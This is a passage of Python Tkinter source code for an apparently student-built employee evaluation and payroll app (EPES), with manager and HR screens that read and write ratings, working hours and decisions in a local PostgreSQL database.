self.sethours.grid(column=2, row=6)
self.execution.grid(column=0, row=7)
self.logoutButton.grid(column=0, row=8)
self.frame.pack()
def writecomment(self):
tmpcomment = self.commententry.get("1.0", "end-1c")
targetemployee = self.comboxlist.get()
if targetemployee != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert new report into database
insertReportSql = ("insert into rating_report (rating_report_id, report, reportee, reporter) VALUES (%s, %s, %s, %s)")
import time
cur.execute(insertReportSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmpcomment, targetemployee, self.employeeID])
conn.commit()
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def writerespond(self):
tmprespond = self.respondentry.get("1.0", "end-1c")
targetemployee = self.comboxlist_2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x200')
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
getReportSql = ("select rr.rating_report_id from rating_report rr where rr.reporter = %s")
cur.execute(getReportSql, [targetemployee])
report_id = ""
rows = cur.fetchall()
for row in rows:
report_id = row[0]
insertCommentSql = ("insert into rating_comment (rating_comment_id, comment, rating_report_id) VALUES (%s, %s, %s)")
import time
cur.execute(insertCommentSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmprespond, report_id])
conn.commit()
lbl1_1 = Label(window1, text="System received your response to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your response is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def view_payroll(self):
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
payrollSql = ("select s.wage, s.bonus, w.hours from work_day w, salary s, employee e where e.salary = s.salary_id AND w.employee_id = e.employee_id AND w.employee_id = %s")
cur.execute(payrollSql, [self.employeeID])
rows = cur.fetchall()
payroll = 0
for row in rows:
payroll += (row[0] + row[1]) * row[2]
self.payrolllabel.configure(text="Your payroll is: " + str(payroll))
def view_ratings(self):
global ratings
ratings = "test"
window1 = Tk()
window1.title("Check Ratings")
window1.geometry('400x100')
lbl1_1 = Label(window1, text="Your ratings:")
lbl1_1.grid(column=0, row=0)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
ratingSql = ("select rr.reporter, rr.report, rr.rating_report_id from rating_report rr where rr.reportee= %s")
cur.execute(ratingSql, [self.employeeID])
rows = cur.fetchall()
ratings = ""
for row in rows:
try:
commentSql = ("select comment from rating_comment where rating_report_id = %s")
cur2=conn.cursor()
cur2.execute(commentSql, [row[2]])
comments = cur2.fetchall()
comment = ""
for com in comments:
comment = com[0]
ratings += "\nFrom "+row[0] +": \t" +row[1] + "\n\t Response: " + comment
except:
ratings += "\nFrom "+row[0] +": \t" +row[1]
lbl1_2 = Label(window1, text=" " + ratings)
lbl1_2.grid(column=0, row=1)
def set_hours(self):
workinghours = self.hoursentry.get()
if workinghours.replace('.', '', 1).isdigit():
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
#getSalarySql = ("select wage
insertHoursSql = ("insert into work_day (day, employee_id, hours) VALUES (%s, %s, %s)")
import time
try:
cur.execute(insertHoursSql, [time.strftime("%Y-%m-%d"),self.employeeID, workinghours])
conn.commit()
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="You have worked: " + workinghours + " hours today")
lbl1_2.grid(column=0, row=2)
except:
window1 = Tk()
window1.title("Input failed")
window1.geometry('100x200')
lbl1_1 = Label(window1, text="Input error or time already entered today")
lbl1_1.grid(column=0, row=0)
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
def execution(self):
newMainUI.HRpage(self.master, self.employeeID)
def logout(self):
root.deiconify()
self.master.destroy()
class departmentManagerUI:
def __init__(self, master, eid):
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.frame = tk.Frame(self.master)
self.payroll = 0
self.ratings = ""
# Database
self.employeeID = eid
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
eidSql = ("select employee_id from employee")
cur.execute(eidSql)
rows = cur.fetchall()
self.employeeIDs = []
for row in rows:
self.employeeIDs.append(row[0])
# Comment
self.commentlabel = tk.Label(self.frame, text="Write comment:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist["values"] = (self.employeeIDs)
self.comboxlist.current(0)
self.commententry = tk.Text(self.frame, width=40, height=10)
self.sendcomment = tk.Button(self.frame, text="Send comments", command=self.writecomment)
# Respond
self.respondlabel = tk.Label(self.frame, text="Write response:", anchor="w")
self.comvalue_2 = tk.StringVar()
self.comboxlist_2 = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist_2["values"] = (self.employeeIDs)
self.comboxlist_2.current(0)
self.respondentry = tk.Text(self.frame, width=40, height=10)
self.sendrespond = tk.Button(self.frame, text="Send response", command=self.writerespond)
# View Payroll
self.payrolllabel = tk.Label(self.frame, text="Check monthly payroll:", anchor="w")
self.viewpayroll = tk.Button(self.frame, text="View Payroll", command=self.view_payroll)
# View Rating
self.ratingslabel = tk.Label(self.frame, text="Check ratings:", anchor="w")
self.viewratings = tk.Button(self.frame, text="View Ratings", command=self.view_ratings)
# Set Hours
self.sethourslabel = tk.Label(self.frame, text="Set working hours:", anchor="w")
self.hoursentry = tk.Entry(self.frame)
self.sethours = tk.Button(self.frame, text="Set Hours", command=self.set_hours)
# Read Decision
self.readlabel = tk.Label(self.frame, text="Read senior manager's decision:", anchor="w")
self.readbutton = tk.Button(self.frame, text="Read Decision", command=self.read_decision)
self.decisionID = ""
# Send Decision
self.sendlabel = tk.Label(self.frame, text="Send decision to HR:", anchor="w")
self.sendbutton = tk.Button(self.frame, text="Send Decision", command=self.send_decision)
# Approve Hours
self.approvelabel = tk.Label(self.frame, text="Approve working hours:", anchor="w")
self.comvalue_3 = tk.StringVar()
self.comboxlist_3 = ttk.Combobox(self.frame, textvariable=self.comvalue_3)
self.comboxlist_3["values"] = (self.employeeIDs)
self.comboxlist_3.current(0)
self.approvehours = tk.Button(self.frame, text="Approve Hours", command=self.approve_hours)
# Logout
self.logoutButton = tk.Button(self.frame, text="Logout", command=self.logout)
self.commentlabel.grid(column=0, row=0)
self.comboxlist.grid(column=0, row=1)
self.commententry.grid(column=0, row=2)
self.sendcomment.grid(column=0, row=3)
self.respondlabel.grid(column=1, row=0)
self.comboxlist_2.grid(column=1, row=1)
self.respondentry.grid(column=1, row=2)
self.sendrespond.grid(column=1, row=3)
self.payrolllabel.grid(column=0, row=4)
self.viewpayroll.grid(column=1, row=4)
self.ratingslabel.grid(column=0, row=5)
self.viewratings.grid(column=1, row=5)
self.sethourslabel.grid(column=0, row=6)
self.hoursentry.grid(column=1, row=6)
self.sethours.grid(column=2, row=6)
self.readlabel.grid(column=0, row=7)
self.readbutton.grid(column=1, row=7)
self.sendlabel.grid(column=2, row=7)
self.sendbutton.grid(column=3, row=7)
self.approvelabel.grid(column=0, row=8)
self.comboxlist_3.grid(column=1, row=8)
self.approvehours.grid(column=2, row=8)
self.logoutButton.grid(column=0, row=9)
self.frame.pack()
def writecomment(self):
tmpcomment = self.commententry.get("1.0", "end-1c")
targetemployee = self.comboxlist.get()
if targetemployee != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert new report into database
insertReportSql = ("insert into rating_report (rating_report_id, report, reportee, reporter) VALUES (%s, %s, %s, %s)")
import time
cur.execute(insertReportSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmpcomment, targetemployee, self.employeeID])
conn.commit()
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def writerespond(self):
tmprespond = self.respondentry.get("1.0", "end-1c")
targetemployee = self.comboxlist_2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x200')
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
getReportSql = ("select rr.rating_report_id from rating_report rr where rr.reporter = %s")
cur.execute(getReportSql, [targetemployee])
report_id = ""
rows = cur.fetchall()
for row in rows:
report_id = row[0]
insertCommentSql = ("insert into rating_comment (rating_comment_id, comment, rating_report_id) VALUES (%s, %s, %s)")
import time
cur.execute(insertCommentSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmprespond, report_id])
conn.commit()
lbl1_1 = Label(window1, text="System received your response to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your response is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def view_payroll(self):
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
payrollSql = ("select s.wage, s.bonus, w.hours from work_day w, salary s, employee e where e.salary = s.salary_id AND w.employee_id = e.employee_id AND w.employee_id = %s")
cur.execute(payrollSql, [self.employeeID])
rows = cur.fetchall()
payroll = 0
for row in rows:
payroll += (row[0] + row[1]) * row[2]
self.payrolllabel.configure(text="Your payroll is: " + str(payroll))
def view_ratings(self):
global ratings
ratings = "test"
window1 = Tk()
window1.title("Check Ratings")
window1.geometry('400x100')
lbl1_1 = Label(window1, text="Your ratings:")
lbl1_1.grid(column=0, row=0)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
ratingSql = ("select rr.reporter, rr.report, rr.rating_report_id from rating_report rr where rr.reportee= %s")
cur.execute(ratingSql, [self.employeeID])
rows = cur.fetchall()
ratings = ""
for row in rows:
try:
commentSql = ("select comment from rating_comment where rating_report_id = %s")
cur2=conn.cursor()
cur2.execute(commentSql, [row[2]])
comments = cur2.fetchall()
comment = ""
for com in comments:
comment = com[0]
ratings += "\nFrom "+row[0] +": \t" +row[1] + "\n\t Response: " + comment
except:
ratings += "\nFrom "+row[0] +": \t" +row[1]
lbl1_2 = Label(window1, text=" " + ratings)
lbl1_2.grid(column=0, row=1)
def set_hours(self):
workinghours = self.hoursentry.get()
if workinghours.replace('.', '', 1).isdigit():
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert hours into database
insertHoursSql = ("insert into work_day (day, employee_id, hours) VALUES (%s, %s, %s)")
import time
try:
cur.execute(insertHoursSql, [time.strftime("%Y-%m-%d"),self.employeeID, workinghours])
conn.commit()
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="You have worked: " + workinghours + " hours today")
lbl1_2.grid(column=0, row=2)
except:
window1 = Tk()
window1.title("Input failed")
window1.geometry('100x200')
lbl1_1 = Label(window1, text="Input error or time already entered today")
lbl1_1.grid(column=0, row=0)
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
def logout(self):
root.deiconify()
self.master.destroy()
def read_decision(self):
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert hours into database
getDecisionSql = ("select senior_manager, decision, decision_id from decision where decision.dept_manager = %s")
cur.execute(getDecisionSql, [self.employeeID])
decisions = cur.fetchall()
decisiontext = ""
for dec in decisions:
decisiontext += "\n Senior Manager: "+dec[0] + ":\n\tDecision:" +dec[1]
self.decisionID = dec[2]
window1 = Tk()
window1.title("Senior manager's Decision")
window1.geometry('500x300')
lbl1_1 = Label(window1, text=decisiontext)
lbl1_1.grid(column=0, row=0)
def send_decision(self):
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert hours into database
sendDecisionSql = ("update decision set hr_staff = %s where decision_id = %s")
cur.execute(sendDecisionSql, ["sf1", self.decisionID])
conn.commit()
window1 = Tk()
window1.title("Senior manager's Decision")
window1.geometry('150x75')
lbl1_1 = Label(window1, text="Sent decision to sf1")
lbl1_1.grid(column=0, row=0)
def approve_hours(self):
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get work days and approve them
workingEmployee = str(self.comboxlist_3.get())
approveSql = ("update work_day set approved = 'TRUE' where employee_id = %s")
cur.execute(approveSql, [workingEmployee])
conn.commit()
window = Tk()
window.title("Approval")
window.geometry('500x300')
text = "Employee " + workingEmployee+ "'s working hour has been approved"
lbl7 = Label(window, text=text)
lbl7.grid(column=0, row=0)
class SeniorManagerUI:
def __init__(self, master, eid):
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.frame = tk.Frame(self.master)
self.payroll = 0
self.ratings = ""
# Database
self.employeeID = eid
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
eidSql = ("select employee_id from employee")
cur.execute(eidSql)
rows = cur.fetchall()
self.employeeIDs = []
for row in rows:
self.employeeIDs.append(row[0])
# Comment
self.commentlabel = tk.Label(self.frame, text="Write comment:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist["values"] = (self.employeeIDs)
self.comboxlist.current(0)
self.commententry = tk.Text(self.frame, width=40, height=10)
self.sendcomment = tk.Button(self.frame, text="Send comments", command=self.writecomment)
# Respond
self.respondlabel = tk.Label(self.frame, text="Write response:", anchor="w")
self.comvalue_2 = tk.StringVar()
self.comboxlist_2 = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist_2["values"] = (self.employeeIDs)
self.comboxlist_2.current(0)
self.respondentry = tk.Text(self.frame, width=40, height=10)
self.sendrespond = tk.Button(self.frame, text="Send response", command=self.writerespond)
# View Payroll
self.payrolllabel = tk.Label(self.frame, text="Check monthly payroll:", anchor="w")
self.viewpayroll = tk.Button(self.frame, text="View Payroll", command=self.view_payroll)
# View Rating
self.ratingslabel = tk.Label(self.frame, text="Check ratings:", anchor="w")
self.viewratings = tk.Button(self.frame, text="View Ratings", command=self.view_ratings)
# Set Hours
self.sethourslabel = tk.Label(self.frame, text="Set working hours:", anchor="w")
self.hoursentry = tk.Entry(self.frame)
self.sethours = tk.Button(self.frame, text="Set Hours", command=self.set_hours)
# Create decision
self.createlabel = tk.Label(self.frame, text="Create decision:", anchor="w")
self.createbutton = tk.Button(self.frame, text="Create decision", command=self.create_decision)
# Logout
self.logoutButton = tk.Button(self.frame, text="Logout", command=self.logout)
self.commentlabel.grid(column=0, row=0)
self.comboxlist.grid(column=0, row=1)
self.commententry.grid(column=0, row=2)
self.sendcomment.grid(column=0, row=3)
self.respondlabel.grid(column=1, row=0)
self.comboxlist_2.grid(column=1, row=1)
self.respondentry.grid(column=1, row=2)
self.sendrespond.grid(column=1, row=3)
self.payrolllabel.grid(column=0, row=4)
self.viewpayroll.grid(column=1, row=4)
self.ratingslabel.grid(column=0, row=5)
self.viewratings.grid(column=1, row=5)
self.sethourslabel.grid(column=0, row=6)
self.hoursentry.grid(column=1, row=6)
self.sethours.grid(column=2, row=6)
self.createlabel.grid(column=0, row=7)
self.createbutton.grid(column=1, row=7)
self.logoutButton.grid(column=0, row=8)
self.frame.pack()
def writecomment(self):
tmpcomment = self.commententry.get("1.0", "end-1c")
targetemployee = self.comboxlist.get()
if targetemployee != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x500')
lbl1_1 = Label(window1, text="System received your comment to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your comment is: " + tmpcomment)
lbl1_2.grid(column=0, row=1)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# insert new report into database
insertReportSql = ("insert into rating_report (rating_report_id, report, reportee, reporter) VALUES (%s, %s, %s, %s)")
import time
cur.execute(insertReportSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmpcomment, targetemployee, self.employeeID])
conn.commit()
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def writerespond(self):
tmprespond = self.respondentry.get("1.0", "end-1c")
targetemployee = self.comboxlist_2.get()
if tmprespond != "":
window1 = Tk()
window1.title("Input successful")
window1.geometry('500x200')
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
getReportSql = ("select rr.rating_report_id from rating_report rr where rr.reporter = %s")
cur.execute(getReportSql, [targetemployee])
report_id = ""
rows = cur.fetchall()
for row in rows:
report_id = row[0]
insertCommentSql = ("insert into rating_comment (rating_comment_id, comment, rating_report_id) VALUES (%s, %s, %s)")
import time
cur.execute(insertCommentSql, [time.strftime("%y"+targetemployee+"%m%d"+self.employeeID), tmprespond, report_id])
conn.commit()
lbl1_1 = Label(window1, text="System received your response to employee " + targetemployee)
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Your response is: " + tmprespond)
lbl1_2.grid(column=0, row=1)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
def view_payroll(self):
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
payrollSql = ("select s.wage, s.bonus, w.hours from work_day w, salary s, employee e where e.salary = s.salary_id AND w.employee_id = e.employee_id AND w.employee_id = %s")
cur.execute(payrollSql, [self.employeeID])
rows = cur.fetchall()
payroll = 0
for row in rows:
payroll += (row[0] + row[1]) * row[2]
self.payrolllabel.configure(text="Your payroll is: " + str(payroll))
def view_ratings(self):
global ratings
ratings = "test"
window1 = Tk()
window1.title("Check Ratings")
window1.geometry('400x100')
lbl1_1 = Label(window1, text="Your ratings:")
lbl1_1.grid(column=0, row=0)
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
ratingSql = ("select rr.reporter, rr.report from rating_report rr where rr.reportee= %s")
cur.execute(ratingSql, [self.employeeID])
rows = cur.fetchall()
ratings = ""
for row in rows:
comments = []
try:
commentSql = ("select comment from rating_comment where rating_report_id = %s")
cur.execute(commentSql, [row[1]])
comments = cur.fetchall()
ratings += "\nFrom "+row[0] +": \t" +row[1] + "\n\t Response: " + comments[0]
except:
ratings += "\nFrom "+row[0] +": \t" +row[1]
lbl1_2 = Label(window1, text=" " + ratings)
lbl1_2.grid(column=0, row=1)
def set_hours(self):
workinghours = self.hoursentry.get()
if workinghours.replace('.', '', 1).isdigit():
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get password and authenticate login
#getSalarySql = ("select wage
insertHoursSql = ("insert into work_day (day, employee_id, hours) VALUES (%s, %s, %s)")
import time
try:
cur.execute(insertHoursSql, [time.strftime("%Y-%m-%d"),self.employeeID, workinghours])
conn.commit()
window1 = Tk()
window1.title("Input successful")
window1.geometry('300x200')
lbl1_1 = Label(window1, text="System received your working hours.")
lbl1_1.grid(column=0, row=0)
lbl1_2 = Label(window1, text="Please wait for approval.")
lbl1_2.grid(column=0, row=1)
lbl1_2 = Label(window1, text="You have worked: " + workinghours + " hours today")
lbl1_2.grid(column=0, row=2)
except:
window1 = Tk()
window1.title("Input failed")
window1.geometry('100x200')
lbl1_1 = Label(window1, text="Input error or time already entered today")
lbl1_1.grid(column=0, row=0)
elif workinghours == "":
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Input cannot be empty.")
lbl1_1.grid(column=0, row=0)
else:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('300x50')
lbl1_1 = Label(window1, text="Wrong input. Please type in only numbers.")
lbl1_1.grid(column=0, row=0)
def create_decision(self):
window = Tk()
window.title("Decision")
window.geometry('500x300')
label1 = Label(window, text="Decision type: ")
label2 = Label(window, text="Targeting employee: ")
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
eidSql = ("select employee_id from employee")
cur.execute(eidSql)
rows = cur.fetchall()
self.employeeIDs = []
for row in rows:
self.employeeIDs.append(row[0])
combo = Combobox(window)
combo['values'] = ("Promotion", "Fire", "Salary")
combo.current(0) # set the selected item
combo1 = Combobox(window)
combo1['values'] = self.employeeIDs
combo1.current(0) # set the selected item
detaillabel = Label(window, text="Decision details: ")
changes = Text(window, width=40, height=10)
def button():
try:
toEmployee = combo1.get()
decisionID = combo.get()+toEmployee
decisionText = combo.get()+": "+toEmployee +":\t"+ str(changes.get("1.0", "end-1c"))
createDecisionSql = ("insert into decision (senior_manager, dept_manager, decision, decision_id) VALUES(%s, %s, %s, %s)")
cur.execute(createDecisionSql, [self.employeeID, "ed", decisionText, decisionID])
conn.commit()
window1 = Tk()
window1.title("Creation Success")
window1.geometry('150x50')
lbl1_1 = Label(window1, text="Created decision for ed.")
lbl1_1.grid(column=0, row=0)
except:
window1 = Tk()
window1.title("ERROR MESSAGE")
window1.geometry('200x50')
lbl1_1 = Label(window1, text="Decision already exists.")
lbl1_1.grid(column=0, row=0)
btn = Button(window, text="Create", command=button)
label1.grid(column=0, row=0)
combo.grid(column=1, row=0)
label2.grid(column=0, row=1)
combo1.grid(column=1, row=1)
detaillabel.grid(column=0, row=2)
changes.grid(column=1, row=2)
btn.grid(column=2, row=2)
def logout(self):
root.deiconify()
self.master.destroy()
def get_payroll(self):
return str(payroll)
def get_ratings(self):
return ratings
class hrsystemui:
def __init__(self, master, eid):
# create a prompt, an input box, an output label,
# and a button to do the computation
self.master = master
self.frame = tk.Frame(self.master)
self.employeeID = eid
self.name = tk.Label(self.frame, text="Enter a name:", anchor="w")
self.entryname = tk.Entry(self.frame)
self.id = tk.Label(self.frame, text="Enter a ID:", anchor="w")
self.entryid = tk.Entry(self.frame)
self.department = tk.Label(self.frame, text="Enter a department:", anchor="w")
self.entrydepartment = tk.Entry(self.frame)
self.job = tk.Label(self.frame, text="Select a job type:", anchor="w")
self.comvalue = tk.StringVar()
self.comboxlist = ttk.Combobox(self.frame, textvariable=self.comvalue)
self.comboxlist["values"] = ("Staff", "Department Manager", "Senior Manager")
self.comboxlist.current(0)
self.title = tk.Label(self.frame, text="Enter a title:", anchor="w")
self.entrytitle = tk.Entry(self.frame)
self.submit = tk.Button(self.frame, text="submit", command=self.action)
self.show = tk.Button(self.frame, text="show the list", command=self.showList)
self.deleteUser = tk.Button(self.frame, text="delete user", command=self.deletUser)
self.amend = tk.Button(self.frame, text="promotion/demotion", command=self.amend)
self.output = tk.Label(self.frame, text="")
self.flag = np.array("")
self.list = np.array("")
self.result = ""
self.win = ""
self.deleteWin = ""
self.deleteid = ""
self.deleteWin = ""
self.amendWin = ""
self.namelist = tk.Label(self.frame, text="")
self.header = ['name', 'ID', 'department', 'title', 'job']
self.name.pack(side="top", fill="x")
self.entryname.pack(side="top", fill="x", padx=20)
self.id.pack(side="top", fill="x")
self.entryid.pack(side="top", fill="x", padx=20)
self.department.pack(side="top", fill="x")
self.entrydepartment.pack(side="top", fill="x", padx=20)
self.job.pack(side="top", fill="x")
self.comboxlist.pack(side="top", fill="x", padx=20)
self.title.pack(side="top", fill="x")
self.entrytitle.pack(side="top", fill="x", padx=20)
self.output.pack(side="top", fill="x", expand=True)
self.submit.pack(side="right")
self.deleteUser.pack(side="right")
self.amend.pack(side="right")
self.show.pack(side="left")
self.frame.pack()
def action(self):
# get the value from the input widget, convert
# it to an int, and do a calculation
if self.comboxlist.get() == "Staff":
self.flag = np.append(self.flag, [
hrSystem.Staff(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Department Manager":
self.flag = np.append(self.flag, [
hrSystem.DepartmentManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
if self.comboxlist.get() == "Senior Manager":
self.flag = np.append(self.flag, [
hrSystem.SeniorManager(self.entryname.get(), self.entryid.get(), self.entrydepartment.get(),
self.entrytitle.get())])
self.result = self.result + "\n" + "\n" + self.flag[1].__str__()
self.list = np.append(self.list, self.flag[1])
self.output.configure(text=self.flag[1].__str__() + "\n has been saved")
data = np.array([self.flag[1].get_name(), self.flag[1].get_number(), self.flag[1].get_department(),
self.flag[1].get_title(), self.flag[1].get_job()])
df = pd.DataFrame([data])
if not os.path.isfile('namelist.csv'):
df.to_csv('namelist.csv', header=self.header, index=False)
else:
df.to_csv('namelist.csv', mode='a', header=False, index=False)
self.flag = np.delete(self.flag, 1)
def showList(self):
self.result = ""
# connect to database
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
# get employee ids from database to populate dropdown
getDecisionSql= ("select senior_manager, decision from decision where hr_staff = %s")
cur.execute(getDecisionSql, [self.employeeID])
rows = cur.fetchall()
for row in rows:
self.result += "\nSenior Manager:"+row[0]+"\n\t"+row[1]
#for i in range(self.list.size):
# self.result = self.result + "\n" + "\n" + self.list[i].__str__()
from tkinter import scrolledtext
win = tk.Toplevel()
txt = scrolledtext.ScrolledText(win)
win.title("Name List")
win.geometry("450x225")
txt.insert(tk.INSERT, self.result)
txt.pack()
win.mainloop()
def deletUser(self):
self.deleteWin = tk.Toplevel()
self.deleteWin.title("Delete User")
id = tk.Label(self.deleteWin, text="Enter an ID:", anchor="w")
idEntry = tk.Entry(self.deleteWin)
def deleteButton():
try:
try:
conn = psycopg2.connect("dbname='EPES' user='postgres' host='localhost' password='123'")
except:
print("I am unable to connect to the database")
# database cursor
cur = conn.cursor()
deleteLoginSql = ("delete from login_information where employee_id = %s")
cur.execute(deleteLoginSql, [idEntry.get()])
deleteEmployeeSql = ("delete from employee where employee_id = %s")
cur.execute(deleteEmployeeSql, [idEntry.get()])
conn.commit()
window1 = Tk()
window1.title("Deletion Success")
window1.geometry('200x50')
lbl1_1 = Label(window1, text="Deleted "+idEntry.get())
